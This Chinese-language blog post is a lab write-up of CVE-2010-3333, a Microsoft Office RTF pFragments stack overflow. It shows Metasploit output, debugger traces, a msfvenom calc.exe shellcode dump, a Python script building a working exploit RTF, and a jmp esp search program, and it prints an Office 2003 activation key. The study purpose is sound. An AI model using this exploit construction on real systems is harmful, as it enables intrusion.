CVE-2010-3333漏洞分析

系列 - 漏洞战争
  • 这是《漏洞战争:软件漏洞分析精要》中分析的第二个栈溢出漏洞,在上一篇文章中,对栈溢出已经很熟悉了,我们继续加强这方面的知识。

  • CVE-2010-3333是一个栈溢出漏洞,该漏洞存在于 Microsoft Office XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010 等多个版本中。

  • 其原理是 Open XML 文件格式转换器在处理 RTF 中的pFragments属性值时,没有正确计算属性值占用的空间大小,导致了栈溢出漏洞的发生。

Microsoft Office XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010

  • windbg 动态调试技术。

  • 加强理解栈溢出漏洞

  • SEH 异常处理机制

继续用metasploit来演示漏洞的利用过程。

环境 版本
操作系统 Windows XP Professional SP3 简体中文版
虚拟机 VMware Fusion 专业版 12.2.4 (20071091)
调试器 windbg 吾爱破解 OllyDbg
反汇编 IDA 7.0
漏洞软件 Microsoft Office 2003 SP3 简体中文版
注意

Office 2003 激活码 GWH28-DGCMP-P6RC4-6J4MT-3HFDY

MSO.DLL 版本:11.0.5606.0

MSO.DLL 路径:C:\Program Files\Common Files\Microsoft Shared\OFFICE11

  • 搜索 expsearc cve-2010-3333
  • 使用 use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
  • 设置 target set target 6
  • 执行 expolit
  • 发送 msf.rtf 到靶机

简单的示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > search cve-2010-3333

Matching Modules
================

   #  Name                                                    Disclosure Date  Rank   Check  Description
   -  ----                                                    ---------------  ----   -----  -----------
   0  exploit/windows/fileformat/ms10_087_rtf_pfragments_bof  2010-11-09       great  No     MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > use 0
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > info

       Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
     Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-09

Provided by:
  wushi of team509
  unknown
  jduck <jduck@metasploit.com>
  DJ Manila Ice, Vesh, CA

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Microsoft Office 2002 SP3 English on Windows XP SP3 English
  2   Microsoft Office 2003 SP3 English on Windows XP SP3 English
  3   Microsoft Office 2007 SP0 English on Windows XP SP3 English
  4   Microsoft Office 2007 SP0 English on Windows Vista SP0 English
  5   Microsoft Office 2007 SP0 English on Windows 7 SP0 English
  6   Crash Target for Debugging

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.rtf          yes       The file name.

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the handling
  of the 'pFragments' shape property within the Microsoft Word RTF
  parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
  prior to the release of the MS10-087 bulletin are vulnerable. This
  module does not attempt to exploit the vulnerability via Microsoft
  Outlook. The Microsoft Word RTF parser was only used by default in
  versions of Microsoft Word itself prior to Office 2007. With the
  release of Office 2007, Microsoft began using the Word RTF parser,
  by default, to handle rich-text messages within Outlook as well. It
  was possible to configure Outlook 2003 and earlier to use the
  Microsoft Word engine too, but it was not a default setting. It
  appears as though Microsoft Office 2000 is not vulnerable. It is
  unlikely that Microsoft will confirm or deny this since Office 2000
  has reached its support cycle end-of-life.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-3333
  OSVDB (69085)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-087
  http://www.securityfocus.com/bid/44652
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880


View the full module info with the info -d command.

msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /Users/james/.msf4/local/msf.rtf

msf.rtf发送到靶机,先打开 word,windbg 附加到winword.exe进程, g命令继续执行,然后打开msf.rtf,看到如下显示

断在30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

看来是重复复制数据出错了。!address edi命令看到这个位置的内存权限是PAGE_READONLY,是只读内存地址,造成访问违例。

/images/2022-12-15-10-43-11.png

重新启动 word,windbg 附加,g命令先让 word 运行起来,然后暂停设置断点bp 30e9eb88

成功断了下来,我们分析一下rep movs指令,这个指令是重复复制数据。

edi是目标地址,esi是源地址,ecx是复制的字节数。

rep movs指令会重复执行movs指令,movs指令是将esi指向的数据复制到edi指向的地址

然后esiedi都会向前移动一个字节,ecx减 1,直到ecx为 0 为止。

edi处于栈中,复制的长度超过0x10可覆盖到ebp, 长度超过0x10+0x4可覆盖到返回地址。

/images/2022-12-15-15-01-04.png

观察 ecxecx = eax << 2eax == 0xc8ac, 这个值来自我们生成的样本,pFragements 属性值的第三个字段偏移 8 个字符后的四个字符。

后面紧跟着的是 payload,也就是 esi 指向的数据。

可以确定是由于没有对长度进行检查,导致出现了栈溢出漏洞。

我们需要了解一下 RTF 文件格式,然后再动态分析 rtf 解析过程,结合 IDA 分析完整的调用链。最终我们手动构造一个 RTF 文件,触发漏洞。

什么是RTF文件?

RTF(Rich Text Format)是一种常用的文本文件格式,

它可以用于存储文本文件,并保留文件中的格式、字体、图像和其他信息。

RTF 文件可以被许多常见的文本编辑器打开和编辑,包括 Microsoft office Word。

RTF 文件是由一系列的控制字符和文本组成的。这些控制字符用于定义文本的格式、字体和图像等信息。

文本编辑器读取这些控制字符,并将它们转换为文档中的格式信息。RTF 文件通常以".rtf"为扩展名。

与其他文本文件格式相比,RTF 文件具有较高的兼容性,可以在多种文本编辑器之间轻松传输,而不会丢失文件中的格式信息。

这使得 RTF 文件成为了一种常用的文本文件格式。

例如上面生成的样本{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;5;11111111acc841613......}}}}

这段 RTF 文本是一个文本片段的定义。它使用了一些 RTF 控制字符来定义文本片段的格式和信息。

示例

具体来说,它使用了以下 RTF 控制字符:

  • {\rtf1}用于指定 RTF 文档的版本,1 表示 RTF 1.0 版本。
  • {\shp}用于定义一个形状。
  • {\sp}用于为形状指定属性。
  • {\sn pFragments} \sn 指示一个属性名称为pFragments。用于指定形状的 pFragments 属性。
  • {\sv 1;5;11111111acc841613......} \sv 控制字指定属性值,为 pFragments 属性指定一个值。

来到发送溢出的这条指令。查看堆栈

/images/2022-12-15-11-02-14.png

IDA 查看这条指令的上下文。

/images/2022-12-15-11-50-00.png

在 IDA 中我们将 sub_30E9EB62 命名为 vulnFunc 函数,查看栈回溯定位哪个函数调用了vulnFunc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:000> kn
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 001237f0 30f4cdbd mso!Ordinal6426+0x64d
01 00123820 30f4a597 mso!Ordinal753+0x306e
02 00123a6c 30d4b199 mso!Ordinal753+0x848
03 00123a94 30d4b148 mso!Ordinal4196+0x61f
04 00123a98 30d4ae32 mso!Ordinal4196+0x5ce
05 00123a9c 014d14c8 mso!Ordinal4196+0x2b8
06 00123aa0 014d1500 0x14d14c8
07 00123aa4 014d13b0 0x14d1500
08 00123aa8 30dc9d44 0x14d13b0
09 00123aac 00000000 mso!Ordinal2940+0x158fc
0:000> ub 30f4cdbd
mso!Ordinal753+0x305a:
30f4cda9 23c1            and     eax,ecx
30f4cdab 50              push    eax
30f4cdac 8d47ff          lea     eax,[edi-1]
30f4cdaf 50              push    eax
30f4cdb0 8b4508          mov     eax,dword ptr [ebp+8]
30f4cdb3 6a00            push    0
30f4cdb5 ff750c          push    dword ptr [ebp+0Ch]
30f4cdb8 e8a0feffff      call    mso!Ordinal753+0x2f0e (30f4cc5d)

定位到是30f4cc5d调用了漏洞函数,windbg 对这里下断点,跟进去,发现在30F4CC93的位置调用了vulnFunc函数。

/images/2022-12-15-16-51-20.png /images/2022-12-15-12-18-05.png

接着我们再次来到出现漏洞的指令。

看下面的位置,我们已经知道了 eax 来自我们生成的样本,表示复制的大小,那么为什么要左移 2 呢?因为movs dword每次复制 dword(4) 字节。

复制的就是样本中的构造的数据

/images/2022-12-15-17-14-43.png

基于上面的分析,我们还需要了解一下堆栈的变化,返回地址的位置。才能手动构造样本。

/images/2022-12-15-17-20-47.png

windbg 不好观察,我们用 OD 调试,然后观察堆栈的变化。

/images/2022-12-15-17-38-16.png

上面的图中看到,偏移 0x14 的位置是返回地址,覆盖这个地址就能控制程序的执行流程。

仔细观察,复制的目标地址距离返回地址 0x14 字节,所以我们构造的样本,前 0x14 字节随机填充,然后加上 rop 跳板指令,加上 0x14 个随机字节,加上 payload。

为什么 payload 前面还要加上 0x14 大小的数据? 因为30f4cc5d函数(调用 vulnFunc 的函数)末尾返回指令是retn 14h

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
.text:30F4CD4E                 mov     al, [ebp+var_1]
.text:30F4CD51
.text:30F4CD51 loc_30F4CD51:                           ; CODE XREF: sub_30F4CC5D+56↑j
.text:30F4CD51                 pop     esi
.text:30F4CD52                 pop     ebx
.text:30F4CD53
.text:30F4CD53 loc_30F4CD53:                           ; CODE XREF: sub_30F4CC5D+1329D0↓j
.text:30F4CD53                 pop     edi
.text:30F4CD54                 leave                   ; High Level Procedure Exit
.text:30F4CD55                 retn    14h             ; Return Near from Procedure
.text:30F4CD55 sub_30F4CC5D    endp

返回时会弹出 0x14 大小的栈空间,所以我们需要填充 0x14 字节的数据,使得 esp 指向 payload,从而 jmp esp 执行成功。

先用 msfvenom 生成 payload

1
2
3
4
5
6
❯ msfvenom -a x86 -p windows/exec cmd=calc.exe -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of hex file: 386 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500

然后后用 python 构造样本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
length = "0010"
jmp_esp = "cc3ad977"
shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"

payload = r"{\rtf1{\shp{\sp{\sn pFragments}{\sv 5;5;11111111"
payload += length
payload += "0" * (0x14 * 2)
payload += jmp_esp
payload += "0" * (0x14 * 2)
payload += shellcode
payload += "}}}}"
with open("shellcode.rtf", "w") as f:
	f.write(payload)
如何获取 jmp esp 的地址?

引用《0day 安全:软件漏洞分析技术》这本书 3.2.2 节的代码

搜索各个进程空间来获取jmp esp地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#define DLL_NAME "user32.dll"
int main()
{
    BYTE *ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag=FALSE;
    handle=LoadLibrary(DLL_NAME);
    if(!handle)
    {
        printf("load dll error");
        return 0;
    }
    ptr=(BYTE *)handle;
    for(position=0;!done_flag;position++)
    {
        try
        {
            if(ptr[position]==0xFF &&ptr[position+1]==0xE4)
            {
                int address=(int)ptr+position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }
        catch(...)
        {
        int address=(int)ptr+position;
        printf("END OF 0x%x\n",address);
        done_flag=true;
        }
    }
    getchar();
    return 0;
}

将生成的样本放到目标机器上,然后打开,成功弹出计算器。

/images/2022-12-15-19-45-56.png

python 脚本中 payload 填充 0, 是因为调试的过程中发现有多处跳转, 需要跳过才能到达函数末尾,经过分析,填充 0 可满足要求。

/images/2022-12-15-19-55-14.png
  • SEH 异常处理机制
什么是SEH?

SEH(结构化异常处理)是一种在 Windows 操作系统中处理异常的机制。它通过使用特殊的指令和数据结构来捕获并处理程序在运行时发生的异常,例如除零错误、内存访问越界以及其他类型的错误。SEH 机制通常用于调试程序,但它也可以被恶意程序利用来执行攻击。

它的工作原理是通过将异常处理程序的地址存储在一个特殊的内存结构中,并在异常发生时调用该程序来处理异常。这种内存结构称为 try/except 块。

当程序运行时,如果遇到了一个不能处理的异常,操作系统就会查找 try/except 块来寻找能处理该异常的程序。如果找到了,则调用该程序来处理异常。

SEH 机制最初是用于调试程序的,因为它可以帮助程序员更好地控制程序在运行时发生的错误。然而,它也可能被恶意程序利用来执行攻击。例如,攻击者可能会在内存中植入恶意代码,并将该代码的地址设置为异常处理程序的地址。当异常发生时,操作系统就会调用恶意代码,从而实现攻击。

SEH 机制使用了一种称为 FS 段的内存段来存储异常处理程序的地址。FS 段是一个特殊的内存段,它由操作系统创建,并在程序启动时自动初始化。

FS 段通常包含两个重要的数据结构:一个称为 TEB(线程基本块)的结构体和一个称为 PEB(进程基本块)的结构体。TEB 存储了当前线程的信息,包括线程 ID、线程栈的地址以及线程特定的数据。PEB 则存储了当前进程的信息,包括进程 ID、可执行文件的路径和其他相关信息。

FS 段还包含一个称为链表的数据结构,用于存储异常处理程序的地址。链表由一个头部指针和若干个节点组成。每个节点都存储了一个异常处理程序的地址以及下一个节点的地址。当异常发生时,操作系统会从链表的头部指针开始遍历链表,寻找能处理该异常的异常处理程序。一旦找到了能处理该异常的程序,就会调用该程序来处理异常。

总之,SEH 机制使用了 FS 段来存储异常处理程序的地址。

用 OD 对漏洞指令下断点。点工具栏查看->SEH链->右键堆栈跟随,如下图所示,看到了 SEH 结构

/images/2022-12-16-00-16-54.png

我们简单的理解一下,当程序发生异常的时候,exception_handler 回调函数接收系统传递的错误码和发生异常的地址,调用注册的异常处理程序。

所以堆栈需要填充大量的数据,覆盖到 SEH 结构,从而劫持 EIP。

简单计算覆盖栈的大小为:0x12ffb4 - 0x1237e0 = 0xc7d4

/images/2022-12-16-00-27-43.png

至此,我们学习了 SEH 相关知识。在后续的学习过程中我们也会不断的加强深入。